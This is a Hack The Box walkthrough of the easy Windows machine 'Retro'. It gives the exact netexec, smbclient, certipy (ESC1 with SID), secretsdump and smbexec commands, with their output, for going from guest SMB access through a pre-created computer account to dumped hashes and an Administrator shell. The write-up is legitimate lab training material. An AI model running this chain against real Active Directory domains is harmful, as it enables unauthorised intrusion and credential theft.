Hack The Box Retro Writeup (Easy Windows)
Easy Windows AD box. A bogus username gets guest access, the Trainees share leaks trainee:trainee, and a pre2k computer account turns ESC1 into domain admin.
Summary
Retro is an easy Windows domain controller where the null session is refused but authenticating with a username that does not exist falls back to Guest and lists the shares. The readable Trainees share holds a note saying every trainee was bundled into a single account, and RID brute forcing turns up a user called trainee whose password is trainee. Those credentials open the Notes share, whose todo.txt complains about a pre created computer account, and netexec’s pre2k module confirms BANKING$ still carries its default password and hands back a Kerberos ccache. With that computer account, certipy finds the RetroClients template vulnerable to ESC1, so a certificate is requested for JBURLEY, this time with the account SID appended because the domain controller rejects the first attempt on a SID mismatch. Authenticating with that certificate gives jburley’s TGT, secretsdump pulls the domain hashes, and smbexec returns a shell as Administrator.
Enumeration
10.129.62.171
DC machine
DNS open on port 53
Kerberos also available!
LDAP, SMB open
RDP open 3389
Domains
Domain: retro.vl
Machine: DC.retro.vl
Init
add to /etc/hosts
1
10.129.62.171 retro.vl dc.retro.vl
SMB Enumeration
Guest is not allowed by default
1
2
3
4
$ nxc smb retro.vl -u '' -p '' --shares
SMB 10.129.62.171 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.62.171 445 DC [+] retro.vl\:
SMB 10.129.62.171 445 DC [-] Error enumerating shares: STATUS_ACCESS_DENIED
However, if you try authenticating with a username that does not exist, it works
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nxc smb retro.vl -u 'totallydoesnotexist' -p '' --shares
SMB 10.129.62.171 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.62.171 445 DC [+] retro.vl\totallydoesnotexist: (Guest)
SMB 10.129.62.171 445 DC [*] Enumerated shares
SMB 10.129.62.171 445 DC Share Permissions Remark
SMB 10.129.62.171 445 DC ----- ----------- ------
SMB 10.129.62.171 445 DC ADMIN$ Remote Admin
SMB 10.129.62.171 445 DC C$ Default share
SMB 10.129.62.171 445 DC IPC$ READ Remote IPC
SMB 10.129.62.171 445 DC NETLOGON Logon server share
SMB 10.129.62.171 445 DC Notes
SMB 10.129.62.171 445 DC SYSVOL Logon server share
SMB 10.129.62.171 445 DC Trainees READ
Connected to the Trainees share (where we have read access to) and collected a text file inside it
1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient //retro.vl/Trainees
Password for [WORKGROUP\user]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jul 23 17:58:43 2023
.. DHS 0 Wed Jun 11 10:17:10 2025
Important.txt A 288 Sun Jul 23 18:00:13 2023
4659711 blocks of size 4096. 1265909 blocks available
smb: \> get Important.txt
getting file \Important.txt of size 288 as Important.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \>
The text file says:
1
2
3
4
5
6
7
8
9
Dear Trainees,
I know that some of you seemed to struggle with remembering strong and unique passwords.
So we decided to bundle every one of you up into one account.
Stop bothering us. Please. We have other stuff to do than resetting your password every day.
Regards
The Admins
We can see what the note is talking about when we enumerate for users/groups/aliases by rid-bruteforcing:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ nxc smb retro.vl -u 'Trainees' -p '' --rid-brute 5000
SMB 10.129.62.171 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.62.171 445 DC [+] retro.vl\Trainees: (Guest)
SMB 10.129.62.171 445 DC 498: RETRO\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.62.171 445 DC 500: RETRO\Administrator (SidTypeUser)
SMB 10.129.62.171 445 DC 501: RETRO\Guest (SidTypeUser)
SMB 10.129.62.171 445 DC 502: RETRO\krbtgt (SidTypeUser)
SMB 10.129.62.171 445 DC 512: RETRO\Domain Admins (SidTypeGroup)
SMB 10.129.62.171 445 DC 513: RETRO\Domain Users (SidTypeGroup)
SMB 10.129.62.171 445 DC 514: RETRO\Domain Guests (SidTypeGroup)
SMB 10.129.62.171 445 DC 515: RETRO\Domain Computers (SidTypeGroup)
SMB 10.129.62.171 445 DC 516: RETRO\Domain Controllers (SidTypeGroup)
SMB 10.129.62.171 445 DC 517: RETRO\Cert Publishers (SidTypeAlias)
SMB 10.129.62.171 445 DC 518: RETRO\Schema Admins (SidTypeGroup)
SMB 10.129.62.171 445 DC 519: RETRO\Enterprise Admins (SidTypeGroup)
SMB 10.129.62.171 445 DC 520: RETRO\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.62.171 445 DC 521: RETRO\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.62.171 445 DC 522: RETRO\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.62.171 445 DC 525: RETRO\Protected Users (SidTypeGroup)
SMB 10.129.62.171 445 DC 526: RETRO\Key Admins (SidTypeGroup)
SMB 10.129.62.171 445 DC 527: RETRO\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.62.171 445 DC 553: RETRO\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.62.171 445 DC 571: RETRO\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.62.171 445 DC 572: RETRO\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.62.171 445 DC 1000: RETRO\DC$ (SidTypeUser)
SMB 10.129.62.171 445 DC 1101: RETRO\DnsAdmins (SidTypeAlias)
SMB 10.129.62.171 445 DC 1102: RETRO\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.62.171 445 DC 1104: RETRO\trainee (SidTypeUser)
SMB 10.129.62.171 445 DC 1106: RETRO\BANKING$ (SidTypeUser)
SMB 10.129.62.171 445 DC 1107: RETRO\jburley (SidTypeUser)
SMB 10.129.62.171 445 DC 1108: RETRO\HelpDesk (SidTypeGroup)
SMB 10.129.62.171 445 DC 1109: RETRO\tblack (SidTypeUser)
There is a user called “trainee”:
1
SMB 10.129.62.171 445 DC 1104: RETRO\trainee (SidTypeUser)
Using the same username:password combination, we can log in as trainee:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nxc smb retro.vl -u 'trainee' -p 'trainee' --shares
SMB 10.129.62.171 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.62.171 445 DC [+] retro.vl\trainee:trainee
SMB 10.129.62.171 445 DC [*] Enumerated shares
SMB 10.129.62.171 445 DC Share Permissions Remark
SMB 10.129.62.171 445 DC ----- ----------- ------
SMB 10.129.62.171 445 DC ADMIN$ Remote Admin
SMB 10.129.62.171 445 DC C$ Default share
SMB 10.129.62.171 445 DC IPC$ READ Remote IPC
SMB 10.129.62.171 445 DC NETLOGON READ Logon server share
SMB 10.129.62.171 445 DC Notes READ
SMB 10.129.62.171 445 DC SYSVOL READ Logon server share
SMB 10.129.62.171 445 DC Trainees READ
I logged in to the smb server and got the files in the Notes share:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ smbclient //retro.vl/Notes -U retro/trainee
Password for [RETRO\trainee]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Apr 8 23:12:49 2025
.. DHS 0 Wed Jun 11 10:17:10 2025
ToDo.txt A 248 Sun Jul 23 18:05:56 2023
user.txt A 32 Tue Apr 8 23:13:01 2025
4659711 blocks of size 4096. 1265909 blocks available
smb: \> get user.txt
getting file \user.txt of size 32 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> get todo.txt
getting file \todo.txt of size 248 as todo.txt (0.5 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \>
The todo file talks about a pre-created computer account (this will be important in a bit):
1
2
3
4
5
6
7
8
9
Thomas,
after convincing the finance department to get rid of their ancienct banking software
it is finally time to clean up the mess they made. We should start with the pre created
computer account. That one is older than me.
Best
James
LDAP Enumeration
It’s possible to authenticate to the ldap server using the same credentials:
1
2
3
$ nxc ldap retro.vl -u 'trainee' -p 'trainee'
LDAP 10.129.62.171 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:retro.vl) (signing:None) (channel binding:Never)
LDAP 10.129.62.171 389 DC [+] retro.vl\trainee:trainee
Got bloodhound running
1
2
3
4
5
6
7
8
9
$ nxc ldap retro.vl -u 'trainee' -p 'trainee'
LDAP 10.129.62.171 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:retro.vl) (signing:None) (channel binding:Never)
LDAP 10.129.62.171 389 DC [+] retro.vl\trainee:trainee
user@attackbox:~/hacking/htb/machines/easy/retro$ nxc ldap 10.129.62.171 -u 'trainee' -p 'trainee' --bloodhound -c All --dns-server 10.129.62.171
LDAP 10.129.62.171 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:retro.vl) (signing:None) (channel binding:Never)
LDAP 10.129.62.171 389 DC [+] retro.vl\trainee:trainee
LDAP 10.129.62.171 389 DC Resolved collection methods: objectprops, group, rdp, psremote, container, localadmin, trusts, session, acl, dcom
LDAP 10.129.62.171 389 DC Done in 0M 22S
LDAP 10.129.62.171 389 DC Compressing output into /home/user/.nxc/logs/DC_10.129.62.171_2025-09-17_105408_bloodhound.zip
AD Environment Enumeration
Discovered the machine account the todo.txt from earlier was talking about
I assume this is the machine account because of the name, and also because of the output from netexec using the pre2k module:
1
2
3
4
5
6
7
$ nxc ldap retro.vl -u 'trainee' -p 'trainee' -M pre2k
LDAP 10.129.62.171 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:retro.vl) (signing:None) (channel binding:Never)
LDAP 10.129.62.171 389 DC [+] retro.vl\trainee:trainee
PRE2K 10.129.62.171 389 DC Pre-created computer account: BANKING$
PRE2K 10.129.62.171 389 DC [+] Found 1 pre-created computer accounts. Saved to /home/user/.nxc/modules/pre2k/retro.vl/precreated_computers.txt
PRE2K 10.129.62.171 389 DC [+] Successfully obtained TGT for banking@retro.vl
PRE2K 10.129.62.171 389 DC [+] Successfully obtained TGT for 1 pre-created computer accounts. Saved to /home/user/.nxc/modules/pre2k/ccache
More information on pre-created machines can be found here and here.
ADCS Enumeration
I copied the ccache created from netexec to my local folder:
1
cp /home/user/.nxc/modules/pre2k/ccache ./banking.ccache
Exported the KRB5CCNAME variable
1
export KRB5CCNAME=./banking.ccache
With access to the computer account, I began enumerating ADCS with certipy:
1
certipy find -k -ns 10.129.62.171 -target dc.retro.vl -vulnerable
Reviewing the json log from certipy, I can confirm the ESC1 vulnerability:
1
2
3
"[!] Vulnerabilities": {
"ESC1": "Enrollee supplies subject and template allows client authentication."
}
I requested a certificate as JBURLEY (increasing key size because it fails with the default of 2048):
1
certipy req -ns 10.129.62.171 -dc-ip 10.129.62.171 -target dc.retro.vl -ca 'retro-DC-CA' -k -template 'RetroClients' -upn JBURLEY@RETRO.VL -key-size 4096
It saves the certificate:
1
2
3
4
5
6
7
8
9
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 16
[*] Successfully requested certificate
[*] Got certificate with UPN 'JBURLEY@RETRO.VL'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'jburley.pfx'
[*] Wrote certificate and private key to 'jburley.pfx'
However, I can’t authenticate with it because of a SID mismatch:
1
2
3
4
5
6
7
8
9
$ certipy auth -pfx jburley.pfx -ns 10.129.62.171 -dc-ip dc.retro.vl
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'JBURLEY@RETRO.VL'
[*] Using principal: 'jburley@retro.vl'
[*] Trying to get TGT...
[-] Object SID mismatch between certificate and user 'jburley'
[-] See the wiki for more information
Which is odd. To make sure I have the correct SID, I grabbed the domain SID with netexec:
1
2
3
4
$ nxc ldap 10.129.62.171 -u trainee -p trainee --get-sid
LDAP 10.129.62.171 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:retro.vl) (signing:None) (channel binding:Never)
LDAP 10.129.62.171 389 DC [+] retro.vl\trainee:trainee
LDAP 10.129.62.171 389 DC Domain SID S-1-5-21-2983547755-698260136-4283918172
Then I referred back to the SID bruteforcing from the beginning to grab the precise UID for JBURLEY (1107):
1
SMB 10.129.62.171 445 DC 1107: RETRO\jburley (SidTypeUser)
And ran the certipy command to request the certificate once more (it timed out the first time, so I had to run twice):
1
2
3
4
5
6
7
8
9
10
11
12
$ certipy req -ns 10.129.62.171 -dc-ip 10.129.62.171 -target dc.retro.vl -ca 'retro-DC-CA' -k -template 'RetroClients' -upn JBURLEY@RETRO.VL -key-size 4096 -sid S-1-5-21-2983547755-698260136-4283918172-1107
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 18
[*] Successfully requested certificate
[*] Got certificate with UPN 'JBURLEY@RETRO.VL'
[*] Certificate object SID is 'S-1-5-21-2983547755-698260136-4283918172-1107'
[*] Saving certificate and private key to 'jburley.pfx'
File 'jburley.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'jburley.pfx'
And now with the new certificate I was able to authenticate:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ certipy auth -pfx jburley.pfx -ns 10.129.62.171 -dc-ip dc.retro.vl
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'JBURLEY@RETRO.VL'
[*] SAN URL SID: 'S-1-5-21-2983547755-698260136-4283918172-1107'
[*] Security Extension SID: 'S-1-5-21-2983547755-698260136-4283918172-1107'
[*] Using principal: 'jburley@retro.vl'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'jburley.ccache'
[*] Wrote credential cache to 'jburley.ccache'
[*] Trying to retrieve NT hash for 'jburley'
[*] Got hash for 'jburley@retro.vl': aad3b435b51404eeaad3b435b51404ee:38a7c1cf54d326ae1198a25067318b10
Then I exported the KRB5CCNAME variable to use the newly generated TGT for jburley:
1
export KRB5CCNAME=./jburley.ccache
Leveraged jburley’s access to dump secrets:
1
2
3
4
5
6
7
8
9
10
11
$ secretsdump.py -k dc.retro.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xd5c69b965ec7d89a8d5762c2846bcb0c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:252fac7066d93dd009d4fd2cd0368389:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
And used smbexec to get a shell as administrator:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ smbexec.py -k dc.retro.vlImpacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>dir C:\users\administrator\desktop
Volume in drive C has no label.
Volume Serial Number is 4BCB-B13C
Directory of C:\users\administrator\desktop
05/05/2025 04:55 AM <DIR> .
05/05/2025 03:51 AM <DIR> ..
04/08/2025 08:11 PM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 5,171,302,400 bytes free
